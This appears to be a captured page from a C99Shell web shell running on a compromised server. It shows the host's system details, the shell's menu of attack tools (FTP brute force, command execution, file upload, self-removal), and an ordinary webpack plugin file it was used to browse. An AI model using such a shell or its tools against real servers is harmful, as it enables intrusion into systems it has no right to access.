!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/inventory.picotech.app/public_html/node_modules/targets-webpack-plugin/   drwxr-xr-x
Free 28.32 GB of 117.98 GB (24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     index.js (5.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
const SourceMapSource = require("webpack-sources").SourceMapSource;
const OriginalSource = require("webpack-sources").OriginalSource;
const ModuleFilenameHelpers = require("webpack/lib/ModuleFilenameHelpers");
const RequestShortener = require("webpack/lib/RequestShortener");
const babel = require("@babel/core");
const rollup = require("rollup");
const commonJs = require("@rollup/plugin-commonjs");
const { nodeResolve } = require("@rollup/plugin-node-resolve");
const hypothetical = require("rollup-plugin-hypothetical");

class TargetsPlugin {
  constructor(options) {
    if (typeof options !== "object" || Array.isArray(options)) options = {};
    if (typeof options.sourceMaps === "undefined") {
      options.sourceMaps = true;
    }
    if (typeof options.test === "undefined") {
      options.test = /\.js(\?.*)?$/i;
    }
    this.options = options;
  }

  apply(compiler) {
    const options = this.options;

    const requestShortener = new RequestShortener(compiler.context);
    compiler.hooks.compilation.tap("targets-compilation", compilation => {
      compilation.hooks.optimizeChunkAssets.tapPromise(
        "targets-optimize-chunk-assets",
        chunks => {
          let files = [];
          chunks.forEach(chunk => files.push(...chunk.files));
          files.push(...compilation.additionalChunkAssets);
          files = files.filter(
            ModuleFilenameHelpers.matchObject.bind(undefined, options)
          );
          return Promise.all(
            files.map(async file => {
              let sourceMap;
              try {
                const asset = compilation.assets[file];
                // if (asset.__TargetsPlugin) {
                //   compilation.assets[file] = asset.__TargetsPlugin;
                //   return;
                // }

                let input;
                let inputSourceMap;

                const browsers = options.browsers || [
                  "last 2 versions",
                  "chrome >= 41"
                ];
                const fileOptions = {
                  presets: [
                    [
                      require.resolve("@babel/preset-env"),
                      {
                        targets: { browsers },
                        useBuiltIns: "usage",
                        corejs: 3,
                        modules: false,
                        exclude: ["transform-typeof-symbol"]
                      }
                    ]
                  ],
                  retainLines: true,
                  compact: options.compact || true,
                  babelrc: false
                };

                if (options.sourceMaps) {
                  if (asset.sourceAndMap) {
                    const sourceAndMap = asset.sourceAndMap();
                    inputSourceMap = sourceAndMap.map;
                    input = sourceAndMap.source;
                  } else {
                    inputSourceMap = asset.map();
                    input = asset.source();
                  }
                  fileOptions.inputSourceMap = inputSourceMap;
                } else {
                  input = asset.source();
                }

                if (fileOptions.inputSourceMap === null) {
                  inputSourceMap = undefined;
                  delete fileOptions.inputSourceMap;
                }

                const result = babel.transform(input, fileOptions);
                const source = result.code;
                const map = result.map;

                const bundle = await rollup.rollup({
                  input: "./input.js",
                  plugins: [
                    nodeResolve({
                      mainFields: ["module", "main"]
                    }),
                    commonJs({
                      include: ["node_modules/**"]
                    }),
                    hypothetical({
                      files: {
                        "./input.js": options.sourceMaps
                          ? {
                              code: source,
                              map: inputSourceMap
                            }
                          : source
                      },
                      allowFallthrough: true
                    })
                  ]
                });

                const result2 = await bundle.generate({
                  format: "iife",
                  name: "App",
                  indent: false,
                  sourcemap: options.sourceMaps
                });

                const source2 = result2.output[0].code;
                const map2 = result2.output[0].map;

                compilation.assets[file] = options.sourceMaps
                  ? new SourceMapSource(source2, file, map2)
                  : new OriginalSource(source2, file);

                // compilation.assets[file].__TargetsPlugin =
                //   compilation.assets[file];
              } catch (err) {
                if (err.msg) {
                  compilation.errors.push(
                    new Error(file + " from Babel\n" + err.msg)
                  );
                } else {
                  compilation.errors.push(
                    new Error(file + " from Babel\n" + err.stack)
                  );
                }
              }
            })
          );
        }
      );
    });
  }
}

module.exports = TargetsPlugin;

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--